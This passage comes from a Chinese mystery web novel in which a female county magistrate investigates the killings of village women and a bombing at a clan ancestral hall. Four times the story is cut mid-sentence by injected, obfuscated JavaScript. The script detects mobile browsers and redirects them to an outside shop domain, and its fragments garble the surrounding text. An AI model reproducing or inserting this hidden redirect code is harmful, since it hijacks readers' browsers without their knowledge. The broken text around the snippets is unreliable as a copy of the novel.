“是东街粮油店的一个女老板送的,她说多亏了县令大人的扶持,她才能开这家粮油店,成为老板,因此特意打了年糕,又送了一些大黄米、小米、豆子、面粉、菜籽油等物,够咱们吃好久了。还有西街开帽子店的女老板,也送来几顶过冬的帽子,说是感谢官府借钱给她开店。总之,有许多女老板都送来了礼物,堆满了前厅呢。我和彩月只拿了一些食物出来,吃了一天了,剩下的全存到库房里了。” 云水谣笑道:“你们两个大馋丫头。” 得知有那么多女性在官府的扶持下,日子都越过越好,云水谣心中十分开心。 彩月忽然道:“哎呀,把杜将军给忘记了!” 云水谣问道:“杜将军?” “是啊,他也送了东西来,我们说小姐还没醒,他就一直在客厅喝茶,这会还没走呢。” 云水谣赶紧洗漱一番,打扮得体,到了客厅,果然见到了杜羽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14132646|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他今日穿了一身绯红色蟒袍,头戴银冠,冠上镶嵌着珍珠和蓝宝石,显得贵气逼人,神采飞扬。 云水谣忍不住多打量了几眼,才朝杜羽行礼。 杜羽笑道:“云大人莫非是查案累着了?” “正是,昨日查了一天,也没什么头绪。” “若是一时查不明白,先把年过了再说。今日是二十八,有吃馒头的习俗。营中的厨子做了五彩馒头,我特意送一些给你。” 说着,他让士兵端上来两个大竹盘,上面覆盖着大块的蒸笼布。把蒸笼布掀开,露出几十个五颜六色的大馒头。 这些馒头是做给军中士兵吃的,所以个头很大,云水谣看见便笑了:“这么大的馒头,一个够我吃两顿的。” 杜羽道:“那云大人就留着慢慢吃吧。” “没想到军营中的厨子还会做这么精致的吃食。” “是我告诉他们做法,让他们做出来的。士兵们辛苦一年了,也该吃点不一样的,热闹热闹。你先吃着,喜欢哪种,再派人告诉我,我再让人送来。” “那就多谢杜将军了。” “云大人客气了。孟荀临走前特意吩咐了,让我多关照你,别让你一个人孤单过年,否则她要揭了我的皮。下次见到她,你可要替我美言几句。” 云水谣忍笑道:“一定,一定。” 军营中还有事,杜羽便先离开了。 云水谣看着这些五彩馒头,早就垂涎欲滴了,便让丫环们每样都蒸上一个。 过了一会,蒸好了,兰心将馒头端了出来,云水谣迫不及待地上手,把每个大馒头都掰了一小块,放嘴里尝着。 白馒头是用山药、茯苓、芡实、杏仁、白扁豆、莲子、百合混合着面粉做的。 红馒头是用甜菜汁、苹果、花生、枸杞、红枣、红米、红糖混合面粉做的。 绿馒头是用菠菜汁、牛皮菜汁、牛乳混合着面粉做的。 黄馒头是用胡萝卜汁、黄米、南瓜、白糖混合着面粉做的。 紫馒头是用紫米、紫甘蓝、紫薯、牛乳混合面粉做的。 每一种馒头都十分美味,口感丰富,且绝不相同。 自从家道中落,云水谣已经很久没有吃过这么精致的吃食了。县令虽有俸禄,但不多。而且自己到任之后一直很忙,两个丫环做饭以简便易吃为主,没有时间给云水谣制作复杂的美食。 这五彩馒头,自己做侯府千金时也是常吃的,但杜羽所送的馒头,其口味比自己以前吃的还要好,可见一定是用了上好的原料制作的。 军费应该不足以买如此上等的食材,这些馒头可能是杜羽自掏腰包请将士们吃的。云水谣沾了光,也有口福了。 她让兰心和彩月一起吃,很快就把蒸好的五个馒头吃光了。 云水谣道:“县衙的监房里关押着那些隐居的军士和马戏团的人,把剩下的馒头蒸一下,送给他们吃吧。” 兰心道:“小姐,您可真好心,他们可都是嫌疑犯。” 60.爆炸 “我觉得他们的嫌疑不大,只是因为抓不到真凶,我才暂时抓他们来凑数。靠近年关的时节,却要他们在监狱里度过,想来也是可怜。把五彩馒头给他们吃一些,让他们也沾沾年味。便是凶手真在他们中间,临死之前也允许吃顿好的。” “是。” 兰心和彩月继续蒸馒头去了,云水谣便靠在椅子上休息。 转眼便到了大年二十九,云水谣仍是在家里待了一日。到傍晚时分,柳依依走了进来,道:“大人,我已经查清了,洛县和虎丘县比较大的铁器铺,近期都无人去定制陌刀。” 云水谣问道:“你这么快就打探清楚了?我还以为要等到年后了。” “我想着我一个人做这件事太慢,就发动了我家的家丁帮我,让他们跟我分头去各个铁器铺询问,近期是否有人打造陌刀。如果有,就请铁器铺老板回忆对方的模样,然后画下来。我还请了一堆画师,跟我的家丁们一起分散去问,这样能保证第一时间得到嫌疑人的画像。这样就快多了,我只需要跑一家,其他几家铁器铺让家丁们去跑。” “依依,你真聪明。” “大人谬赞了。不论是我这边,还是家丁那边,得到的结果是,这两个县所有的铁器铺,近几个月都无人去打造陌刀。” “既然这样,那案发现场崭新的陌刀是哪里来的呢?” “还有一种可能,就是那些陌刀已经有年头了,只是因为保存得比较好,还跟新的一样。凶手并不是去铁器铺打造凶器,而是从自己家里拿到案发现场的。” “确实只存在这种可能了。有条件将陌刀保存完好许多年的,就绝不可能是贫寒人家,也不能是那种不懂兵器的人家。” “是的,凶手家中必定要有一个地方专门存放陌刀,并且他熟知保养之法,才能令陌刀一直不生锈。” “可是,这个范围仍然是很大的。也不可能对城中百姓一一进行搜查。” “这样确实不现实。我想,我们可以换个角度思考。” “什么角度?” “比如说,凶手的杀人动机。我们已经知道凶手的杀人手法、杀人凶器,现在仍不知道的就是杀人动机。” “是啊,他置这七名村妇于死地,必定是有深仇大恨。但是,这七名村妇来自不同的家庭,前半生也很普通,没有得罪过什么人……” 云水谣和柳依依讨论了一番,没有得出什么结论。 云水谣苦笑道:“我真希望凶手从天上掉下来。” “大人,这是不可能的,您冷静一点。” “好吧。对了,你夫君是不是来洛县找你过年了?” “是的,我之前给他写信,让他过来陪我。” “明日就是除夕了,别因为公务,耽误了你们夫妻团聚,你快回家吧。” “无妨,他现在已经住在我家了,我每天晚上回去便能见到他。这件凶案不解决,我也没心思过年。” 云水谣让丫环做了晚饭,跟柳依依一起吃了。她们又聊了一些轻松的话题,发现两人的兴趣爱好有很多相同的,更生知己之感。 这时,却有个衙役急匆匆跑进来,道:“大人,金沙镇祠堂发生爆炸,造成十五人死亡,十八人重伤,您可要去看看?” 云水谣惊得站了起来:“是意外还是认为?” “目前还不知道。金沙镇的人前来报官,小的就赶紧来通知您了。” 真是一波未平,一波又起,云水谣在心中感叹,今年怕是没法好好过年了。 不管这爆炸案是意外还是认为,她都必须去现场,安抚民众。 因此,她便准备往金沙镇而去。 柳依依道:“大人,天色已晚,是否明日再去?” “天黑了,带上灯笼便好。我想,万一这爆炸是人为,我去得晚了,也许凶手逃了。” “也对,那我跟大人一起去。” 柳依依是有家室的,云水谣本想让她回家,但她坚持要一起去,云水谣也便由着她了。 云水谣让金沙镇来报官的人带路,带上几个衙役和仵作、柳依依,一起往金沙镇而去。 大约半个多时辰后,一行人来到了金沙镇的祠堂附近。 祠堂已经被炸得七零八落,一片焦黑,连带着祠堂旁边的房屋也炸掉了几间。 十几具焦黑的尸体摆在地上,一群人围着尸体哭,看着惨不忍睹。 许多人在这里围观,有叹息的,有指指点点的,还有些孩子被吓哭了。 云水谣走上前去,问道:“本官是洛县县令,金沙镇的里正在吗?” 一个高高胖胖的老者出来回话:“禀大人,老朽便是金沙镇的里正。” “这祠堂是如何爆炸的,你把前因后果说明。” 里正:“是。我们金沙镇,大部分人都姓丁,属于同一宗族。由于很多年没修族谱了,所以定于今年的大年二十九,也就是今天,开祠堂,重修族谱,然后族人们一起吃个饭。白天都在统计各家人口姓名,晚上才是正式聚餐。 由于祠堂不大,容纳不了太多人,便把祠堂周围的几十间房屋用于聚餐,祠堂只作煮饭做菜之用。酉时左右,有一群妇女在祠堂里做饭,祠堂却突然爆炸,正在做饭的妇女几乎都死了,尸体就并排放在前面。在祠堂旁边的人,也有十几人重伤,现在已经把重伤的人转移到安全的房间内,请大夫给她们治疗了。轻伤者更多,暂时顾不上,便让他们自行包扎了。” 云水谣问道:“爆炸原因找到了吗?” “还不知道。” 云水谣让几个衙役去祠堂的废墟勘察,让另外几个衙役看好尸体,不让其他人靠近。接着让仵作去验尸。 在现场围观的人多为丁氏族人,云水谣大声问他们:“今日你们可曾见到形迹可疑之人?” 大伙摇摇头,都说没见到。 云水谣对里正道:“那些重伤的人在哪里?带我去见见。” 里正便把云水谣带到稍远处的一座宅院中,只见十几个伤者都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14149476|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在客厅里躺着。客厅里摆着十几张床,暂时安置他们。旁边有几个大夫,正在忙碌着。 里正道:“大人,这座宅院已经是附近最大的房子了,但卧室容不下十几人,便把客厅暂时作为安置伤员的场所,挪去了原有的桌椅板凳,放了十几张简易的床。这几个大夫也是我们丁氏一族原本行医的人,爆炸发生后,他们就立即来照顾伤者了。” 云水谣点点头:“如此安排甚为妥当。” 接着,她问这些伤员:“你们有谁知道爆炸是如何发生的吗?” 有个伤员答道:“大人,事发时,我们都不在祠堂内,只是比较靠近祠堂,才会重伤,并未看见里面发生了什么。” “你们可曾见到有人携带□□进入祠堂?” “没见到。” 云水谣问里正:“祠堂里的灶台是不是年久失修了?” “没有,大人,为了今年重修族谱一事,我们特意重建了厨房,都是新的。” 云水谣点点头,走了出去。既然问不出什么有用线索,也只能看看仵作那边和现场痕迹是否有蛛丝马迹了。 过了一会,勘察废墟的两个衙役走了过来,回禀道:“大人,看现场的情况,爆炸源应该在灶台那边,但不确定是什么原因引起的。” 仵作验完尸,也来回话:“大人,死去的十五人都为女性,年纪均在二十岁到四十岁之间。从身上的伤情来看,都是死于爆炸。但身上的伤痕有轻重之分,应该是与事发时离爆炸源的远近有关。” 云水谣点点头,对柳依依道:“依依,你去统计一下死者的姓名、年龄、家庭状况等信息。” “好。” 柳依依便去统计死者信息。这事不难,只需询问一下围观群众便好。她一边听旁边的人说,一边用纸笔记录。 这时,柳依依却突然“咦”了一声。 云水谣走过去问道:“怎么了?” 柳依依道:“这些死者的名字,我怎么这么耳熟呢?” “你总不会认识这么多普通的妇女吧?” “我也不知道……我就是觉得这些名字在哪听到过……” 这时,一个老妇人道:“您是柳依依姑娘吧?” 柳依依点头:“正是。” 老妇人道:“其实这些死者您以前确实见过。您之前不是帮助官府开设了女子技能学校,还扶持女人创业吗?这十几名死者,都曾经在女子技能学校学习,并受到官府帮助,开始做生意。您还到她们店里去看过,给了她们一些帮助。其中一名死者是我女儿,我之前在我女儿店里干活,见过您好几次。” 柳依依点头:“原来如此,我说这些名字怎么如此眼熟。” 老妇人叹息道:“可惜我女儿没个长性,开店开到一半又不开了,昨日刚刚到官府注销了自己的店铺,回了家,说想好好休息一段时间。没想到今天就出意外了……” 云水谣惊讶地问:“为何要关店?是不是挣不到钱?还是被人欺负了?” 61.宿怨 老妇人道:“她学了个扎灯笼的手艺,本来这临近过年的时候,灯笼是很好卖的。可她懒得做,干脆关店了,倒不是挣不到钱。” “原来如此。” 云水谣虽然觉得有些可惜,但也觉得这是人家自己的事,就尊重她的意思吧,所以也没说什么。更何况现在人都死了,说什么都没意义了。 老妇人接着说:“这十几个死者,都是跟我女儿一样,昨日到官府完成了关店的各种手续,一起回到金沙镇来的。没想到,她们全死了……早知道这样,应该多在外面开几天店的,至少能躲过这次爆炸……” 云水谣惊奇道:“这些死者竟全是关店回来的女人?” “正是,也不知道是不是流年不利,一回到家乡就死了,唉……” 云水谣觉得有些怪异。她问柳依依:“依依,你记不记得昨天藕塘村被杀的七名农妇,也是辞了工作回家的,跟爆炸案的死者一样?” 柳依依道:“是的,我记得也是这样……” “这其中会不会有某种关联?” “我想,会不会是有人想杀这些人,但因为平时她们在不同的地方工作,杀起来难度太大,所以趁着她们辞了工作回来的时候,一起杀了?” “有这个可能,但凶手怎么知道这些女人会在同一时间辞工回乡呢?” “会不会是凶手用某种方法,让这些女人在差不多的时间辞工?” 云水谣思索道:“就算凶手真的能做到这件事,可他怎么保证这些死者回家后会一起行动呢?就比如前日藕塘村的七名村妇,是临时起意去山上挖笋。今日爆炸案的十五名死者,也是凑巧在一起做饭,才被炸死。幕后黑手总没法控制这些人的行动吧?” “是啊,这其中巧合之处太多了……可是,巧合过头了,就不是巧合了。我觉得,凶手一定有他的办法,只是我们猜不到。莫非,这次的凶手,也是像之前的妆娘吴芷秀那样,懂催眠之术,暗中催眠了这些村妇,让她们听自己的?” “我觉得不太可能。像吴芷秀那种邪门的催眠方法,少有人知,不太可能又出现一个懂催眠术的人。且凶手若真的懂这个,为何不在催眠了这些村妇之后,直接命令她们自尽,而是采用如此迂回的方式杀了她们?而且,他的杀人动机是什么?这几日的两起案件,一共二十多名死者,全是普通的农妇,既不是什么大人物,也非大奸大恶之人。” 云水谣觉得很累,头昏沉沉的,看东西都模糊了。忽然,她眼前一黑,向前栽倒。柳依依眼疾手快,扶住了她。 接着,柳依依将她扶到一把椅子上休息片刻。 云水谣有气无力地说:“我这是怎么了……” “大人,也许您这些天太劳累了,我去向村民要点热汤来。” 柳依依走到里正身边,说了什么。过了一会,里正叫村民拿来参汤、糕点、红枣、桂圆等物给云水谣吃。 云水谣一口气吃了,才觉得精神好些。 有几个下属劝道:“大人,您已经如此疲惫,不如先回去休息吧。可能爆炸案是意外,并非人为。” 云水谣道:“灶台是不会无缘无故爆炸的,一定是有人将□□带进去。” 有个衙役道:“有时候做菜的方式不对,锅也会爆炸的。” “如果只是做菜引起的爆炸,是比较轻微的,不会造成如此严重的后果。” 云水谣还是觉得爆炸案的背后一定有玄机。 这时,有个十来岁的小男孩跑了过来,对云水谣喊道:“漂亮姐姐……漂亮姐姐……” 云水谣看过去,见这小孩憨憨的,长得倒是可爱,但透露着几分傻气。 云水谣问道:“你认识我?” 小男孩摇头:“不认识……” 说着,他笑了笑,竟拉住了云水谣的衣袖。 里正赶紧把这小男孩拉过来,对云水谣道歉:“大人勿怪,这孩子是个傻.子,不是有意要冒犯大人的。” 云水谣道:“无妨,他是你家的孩子?” “不是,这孩子是个孤儿,也是丁氏族人,从小吃百家饭长大的。平时没人管他,他一直脏兮兮的。今日修族谱,我便叫人给他洗了澡,换了身新衣服。” 说着,里正看了看那小男孩,皱眉道:“阿风,刚给你换的衣服,你怎么就弄脏了?” 小男孩阿风断断续续地说:“刚才……抱木头……去祠堂……” 他的衣服上有木屑,应该是刚才抱木头去祠堂时蹭上的。 里正问道:“谁让你抱木头的?” “黑衣服的……丁大志……” 谁知,里正听见这个名字,却十分慌张,抓住了阿风的手,有些严厉地问道:“什么?丁大志?他在哪里?” 阿风大概是被吓到了,哭着说:“走了……” “走了?去哪里了?” “不……不知道……” “他让你抱木头干什么?” “抱木头……去祠堂……给我糖……” “你是说,他让你抱一块木头去祠堂,然后就给你糖?” “对……木头……放灶下……” “他还说什么了?” “糖……五块糖……” “不是这个,我问你他还说了什么?” 阿风呆呆地看着他,不知道怎么回答。里正有些气急败坏,道:“罢了,他除了让你把木头抱进祠堂,还叫你做什么事吗?” “没有……” 里正道:“不可能……” 云水谣在一边听得一头雾水,问道:“里正,你在问什么?这个丁大志是谁?” “大人有所不知,这个丁大志是我们丁氏一族的叛徒,早就被逐出丁氏了。他跟我们有深仇大恨,我怀疑,这次的爆炸案,就是他做的手脚。他让傻孩子阿风抱着木头去祠堂,还要将木头放在灶下。我猜,那木头里面有炸药,等妇女们烧到那块木头时,就发生了爆炸。” 云水谣沉思道:“你说的也有道理。” 爆炸点在灶台,那很有可能是在烧火的时候发生的爆炸。那么,烧火的木柴里藏着炸药,再合理不过了。 云水谣问那傻孩子:“阿风,你抱的那块木头有什么异常吗?” 阿风呆呆地说:“木头……木头……很重……” 看来,阿风是说不出个所以然了。 那块木头里要是真藏了炸药,应该是把中间掏空,把炸药放进去,再用小木块把孔洞压实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14157523|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样,表面会留有痕迹,普通人应该能发现端倪,但这傻孩子阿风肯定发现不了。 云水谣问道:“阿风,你抱着木头进祠堂时,是什么时辰?” 阿风摇了摇头。 里正道:“大人,阿风分不清时辰。” 云水谣换了个问法:“阿风,你抱木头进祠堂时,天空是什么颜色?” “金……金色……” 云水谣点头:“那就是黄昏时分,申时五刻到七刻之间。” 今天黄昏时,确实有金黄色的晚霞,从申时五刻开始,申时七刻消失。 云水谣推测了一下今天发生的事,大概是这样的: 申时,丁大志偷偷找到了傻孩子阿风,让他把一块木头搬到祠堂的灶下。然后丁大志偷偷离开。 酉时,做饭的妇女们刚好拿到阿风所放的木头,将其塞进炉灶内,引发爆炸,造成多人伤亡。 云水谣问里正:“那个丁大志真的会这样做吗?他究竟跟你们有何仇恨?” 里正便把过往的事简单地跟云水谣说了一下。 这丁大志年轻时游手好闲,不务正业,还经常偷鸡摸狗,金沙镇的人都有些厌恶他。 他到了该娶亲的年纪,可别人都不愿意把女儿嫁给他。后来他收留了一个智力有点问题的流□□,便跟那流□□成亲,生下了一个儿子。 但是,有了家室之后,他也不肯好好过日子。后来,他竟抛妻弃子,跑到外地,落草为寇。而他的傻妻子和儿子,日常都靠乡亲们接济,也是饥一顿饱一顿的。 有一次,那群强盗说找了个好地方打劫,丁大志也跟着去,到了地方才知道,强盗们所选的打劫对象就是金沙镇的富户。 丁大志虽不算什么好人,但也不想公然打劫乡亲,可他在强盗群里只是个小喽啰,说不上话,被迫跟其他强盗一起打劫。 本来这些强盗都是抢点钱就跑的,可是这几家富户的女眷都有些爱财如命,拽着强盗的衣服不让他们走。强盗们急了,便把这些富户的女眷杀了。 富户们眼见自己的母亲、妻子被杀,也不再冷静,纷纷拿起武器,要跟强盗拼命。 这时官兵已经快来了,强盗们为了争取时间逃跑,把这些富户都给灭门了。很多强盗武功都不错,只是一开始不想多生事端,才没杀人。一旦决定杀人,速度很快,如砍瓜切菜一般。 不巧的是,那天刚好是其中一个富户的孩子过生日,孩子将学堂里的同学请到家里来吃饭,晚上这些同学便在这富户家睡下。强盗们见谁杀谁,把这些孩子也杀光了。 而这些孩子都是金沙镇其他百姓家的孩子,大概有三十多个。 然后,强盗们就逃走了。 官兵们紧追不舍,强盗头子有些恼火,便扔了几个火把到居民区,引起了大火,烧死了几十人。官兵们既要救火,又要追踪强盗,精力不足,最终让这些强盗逃脱了。 而有人看见丁大志混在这群强盗中,告诉了其他人。后来便有传言说,是丁大志带着强盗们回到家乡杀人放火,丁氏一族对丁大志的愤恨到了顶端。 凶案发生几天后,有人发现丁大志的傻妻子和儿子惨死在家中,母子俩都身中一百多刀,面目全非,惨不忍睹。 62.赴宴 没人承认杀人,但众人都推测,是那些被强盗杀了亲人的百姓干的。 丁氏一族的族老们心照不宣地将这件事情压下了,把这母子二人草草掩埋。 当时有传言说,丁大志的妻儿惨死,他一定会回来报仇的。但是又有百姓反驳说,本来就是丁大志先杀人放火,他的妻儿被杀也是报应,他哪有脸回来报仇? 后来年深日久,这件事就渐渐无人提起。 这已经是十二年前的事了。 所以,里正听见丁大志的名字,才会如此慌张。 云水谣道:“听起来,这个丁大志倒确实有报复的理由。可他为何要胡乱杀人,而不是去找出杀害他妻儿的真凶呢?” 里正叹道:“真凶只怕难以确定,或者说行凶者太多了。当初那群强盗杀死、烧死的人有两百多个,那些死者的亲人又该有多少?活着的人为了报仇,可能每人都扎了他的妻儿一刀。若要一一报复,十分繁琐,而且困难。对他来说,最简便的复仇方式,就是把我们都杀了。” “可还有一个问题,就是他炸了祠堂,其实只能杀死一部分人。祠堂并不大,丁氏一族的人不可能都聚集在祠堂里。这一点,他应该能想到。他为什么不选一个能杀死所有人的时机再动手呢?” “我想,应该是压根没有一次性杀死所有人的机会吧,除非把我们都抓了,关在一起,但他又没有这个本事。且其他强盗不可能为了报他一人之仇,就替他做这么繁琐的事,他毕竟不是强盗头子,没这个号召力。这次丁氏一族修族谱,已经是比较盛大了,平时根本不会聚集这么多人。他选择炸了祠堂,能一次性让几十人伤亡,对他来说,也算报了一部分仇。也许以后有机会,他还会再策划这样的案子。” “嗯,也是。” 云水谣叫来柳依依:“依依,你现在画几张丁大志的画像,我让人拿给守城的士兵,务必把丁大志拦截下来。他现在可能还没出城。” 柳依依道:“是。” 云水谣对里正道:“请您描述丁大志的相貌,让柳依依画出来。” 里正道:“我们记得的都是他以前的模样。过去这么多年,也许丁大志的样貌有所变化。阿风是今日唯一一个见过他的人,可惜阿风是个傻孩子,没法描述样貌。” 云水谣把阿风叫过来,掏出一包糖,道:“阿风,今日叫你抱木头的丁大志,长什么样子,你还记得吗?如果你能说出来,这包糖都是你的。” 阿风看见糖,本能地想去抓。云水谣把糖高高举起,又重复了一遍自己的话。 阿风道:“丁大志……黑……” 云水谣问道:“他皮肤很黑?” 阿风点头,又摇头。 云水谣耐心问道:“他哪里黑?” “全部……全部黑……” “你的意思是,他穿着一身黑衣服?” 阿风点头。 云水谣又问:“他的鼻子、嘴巴是什么样的?他脸上有什么特征?” “黑……黑……” 阿风一直重复,也说不出别的话来。 云水谣有些沮丧。 柳依依灵机一动,拿出一块黑布蒙着脸,问阿风:“他是不是这样子的?” 阿风点头道:“是……黑……黑黑的……” 柳依依对云水谣道:“那个丁大志应该是用黑布蒙面的,所以阿风才会一直说黑。既然这样,他的面部特征也无从得知了。” 云水谣恍然大悟,问阿风:“他长得多高?是胖还是瘦?” 阿风喃喃道:“糖……糖……” 接下来,无论怎么问,阿风都回答不上来。 云水谣只能放弃,让里正描述丁大志以前的样貌,然后让柳依依画下来。 画好之后,她让衙役快马加鞭,送往各个城门,如遇相貌相似者,立刻拦截。 接着,她把糖给了阿风,阿风吃得很开心。虽然阿风没有提供太多线索,但看见他脸上的笑容,云水谣忽然觉得心情轻松了一些。她没能很快找到凶手,安抚众人之心,能让这傻孩子开心也不错。 阿风吃了几颗糖,对云水谣更加亲近,凑到她身边,从怀里掏出一朵黄色的梅花给她。 云水谣笑道:“这是从哪里来的?” 阿风道:“从我衣服里……” 云水谣哭笑不得。 里正道:“这朵梅花应该是阿风摘的,附近只有一株黄梅树,就在前面的林子里,一间茅草屋的后面。” 阿风说道:“黄梅树……丁大志……” 云水谣问道:“你是说,你是在黄梅树那里见到丁大志的,对吗?” 阿风点点头。 云水谣对里正道:“带我去黄梅树那里看看。” 里正带着云水谣往前走,来到一片树林。这里的树并不多,一眼可以看见一间茅草屋。这茅草屋比一般的屋子要高大许多,在其背后果然有一棵黄梅树,有许多黄梅花在枝头绽放。 云水谣查看了一下,如果站在黄梅树这里,由于有茅草屋的遮挡,镇上的人看不见茅草屋背后的景象。所以,丁大志应该是特意选了这个地方跟阿风见面。 云水谣问道:“这茅草屋怎么这么高?都快比两个人叠起来高了。” 里正道:“以前有个身长一丈的村民住在这里,这茅草屋是他自己盖的,所以比一般的茅草屋高出许多。后来他过世了,这茅草屋也没拆。” 云水谣点点头:“丁大志应该是提前踩过点,知道镇上有个傻孩子阿风,便起了利用阿风的想法。他将阿风骗到此处,隔绝其他人的视线,然后将藏有炸药的木头递给阿风,让他放到祠堂里去。阿风是个傻孩子,他抱着柴火到祠堂,其他人只会欣慰他终于能帮着干活了,不会怀疑他拿来的东西有问题。妇女们随便从灶下拿柴火烧,当烧到阿风拿来的木头时,便发生了爆炸。而阿风喜欢乱跑,他把木头放下就离开了,所以爆炸时没有波及他。” 里正道:“事情应该就是这样。大人,您一定要抓到丁大志,为金沙镇的伤亡者讨回公道啊!” “本官会尽力而为。” 云水谣觉得自己有些体力不支了,正好爆炸案也勘察得差不多了。她让里正将死者下葬,先不要重建祠堂,以免破坏现场。伤者认真医治,如有需要去县衙求助。 里正都一一应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173347|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 接着,云水谣便带诸位下属回去了。 云水谣回到家,稍微洗漱一下,吃了点宵夜,便睡觉了。 一直到大年三十的下午,云水谣才醒来,觉得很饿。 丫环兰心道:“小姐,您可算醒了,我们正在讨论何时做饭呢。我看,就现在做吧。” 云水谣点头:“也好。” 这时,丫环彩月走了进来,道:“不必做饭了,杜羽将军下了帖子,请小姐去悠然居吃饭呢,咱们也可以跟着吃点。” 云水谣问道:“他只请我一人吗?” “不是,好像杜将军有几个朋友过来了,所以他才在悠然居设宴,顺便邀请小姐一道去。” “也好,那我去吧。” 云水谣如今在官场,多认识些人也是好的。 悠然居是洛县最贵的几间酒楼之一,临水而建,每个包间都是独栋,客座设在三楼。从楼上望去,可以将湖光山色尽收眼底。 杜羽所选的,便是最中间的一个包间。 云水谣走进房间,发现除了杜羽之外,还有一个虬髯大汉、两个书生打扮的年轻人。 杜羽给云水谣一一介绍,这三位都是在其他地方任职的武将,因刚立了功,且旧伤复发,被皇上特批了几个月的假期,他们便来洛县游玩,过几日便要离开,去别的地方。 云水谣跟他们一一见礼,而他们见云水谣是个女官,也十分尊敬,那虬髯大汉还对小二道:“把这里的酒都换成低度数的米酒来。” 他这样做,是为了照顾云水谣这个唯一的女性,怕云水谣喝那些度数高的酒,会喝醉。云水谣心中暗暗感激。 很快,小二便把包间里所有的酒都换成了米酒。这里的米酒也分很多种,每种都上了,让客人们品尝一下。 云水谣喝了许多,只觉淳而不醉,入口绵软,回味悠长,带着一股浓浓的米香,果然是好酒。 席间,杜羽和这几个官员闲聊,云水谣留心听着,也学会了很多官场上的事。 她觉得自己当女官是对的,如果不是成为女官,哪有机会跟这些官员坐在一起谈笑风生,参闻政事。 同时,她心中也暗暗感激杜羽,给她这个交际的机会。 酒过三巡,只听那虬髯大汉笑道:“愚兄这次,险些回不来了。” 杜羽问道:“这话怎么说?” “前阵子我去大梁山剿匪,那里的土匪十分凶恶,折了我不少好手,就连我自己,也身中数刀,血流了一地。还好最后还是把他们给剿灭了,朝廷给我记了一大功,就连我刚出生的儿子,都得到了赏赐。说起来,那些土匪当中,好像还有一个是洛县人呢。” 云水谣有些不好意思地说道:“是吗?我洛县之人落草为寇,劳明将军去剿匪,下官真是汗颜啊。” 这虬髯大汉姓明,官拜千牛卫将军,因此云水谣称他为明将军。 明将军笑道:“这是他自己不争气,怎能怪到云大人头上?” “不知此人叫什么名字?” “名字倒记不真切了,好像叫丁……什么志吧。” 云水谣有些惊讶:“莫非叫丁大志?” 63.重演 “对对对,就是这名字!” “可是,此人昨日还在洛县作案,明将军确定您之前已将他剿灭了?” “是啊,他还是我亲手杀的,已经死了好几个月了,如何能在昨日犯案?” “这……” 云水谣十分奇怪。她向店小二要来纸笔,画下丁大志的模样,问明将军:“那个人是长这个样子吗?” 明将军点头:“差不多吧。” “这……这究竟是怎么回事……” “云县令,你确定你昨日见过此人?真邪门了……” “不,我倒是没见过,是一个傻孩子见到过……” 云水谣便把昨日的爆炸案简单讲了一下。 杜羽分析道:“既然那个人是蒙着面的,他很有可能是其他人,假称自己是丁大志。这样,金沙镇之人就会认为制造爆炸案的是丁大志,真正的凶手就完美逃脱了。” “是啊,任何人蒙上面,都可以自称是丁大志,反正那傻孩子又认不出来……” 云水谣有些后怕。自己竟被误导了,还满世界追踪丁大志。如果不是今日跟明将军聊起来,她还不知道丁大志已经死了。 这个幕后黑手,真是心思缜密,老谋深算。 杜羽道:“云大人,你方才说,任何人都可以假扮丁大志,此言却不成立。” 云水谣问道:“为何?” “首先,幕后黑手要知道金沙镇有丁大志这个人,还知道他落草为寇,一直在外面,没法回来对质,还要知道丁大志跟金沙镇的居民有仇。同时,他还要很快地从金沙镇这么多人中找到一个傻孩子阿风,设下这个局。能知道这些、做到这些的人,绝不会太多。” “杜将军的意思是,幕后黑手就是金沙镇的人?” “有这个可能,但还有一个可能,就是此人是官府中人。官府中人可以查阅卷宗,知道金沙镇十几年前的往事,从中挑出丁大志这个人,作为明面上的凶手。” “这……” 云水谣听得很震惊。怎么会是官府中人?官吏为何要制造这样的爆炸案? 这爆炸案只炸死了十几个普通妇女,对他又有什么好处? 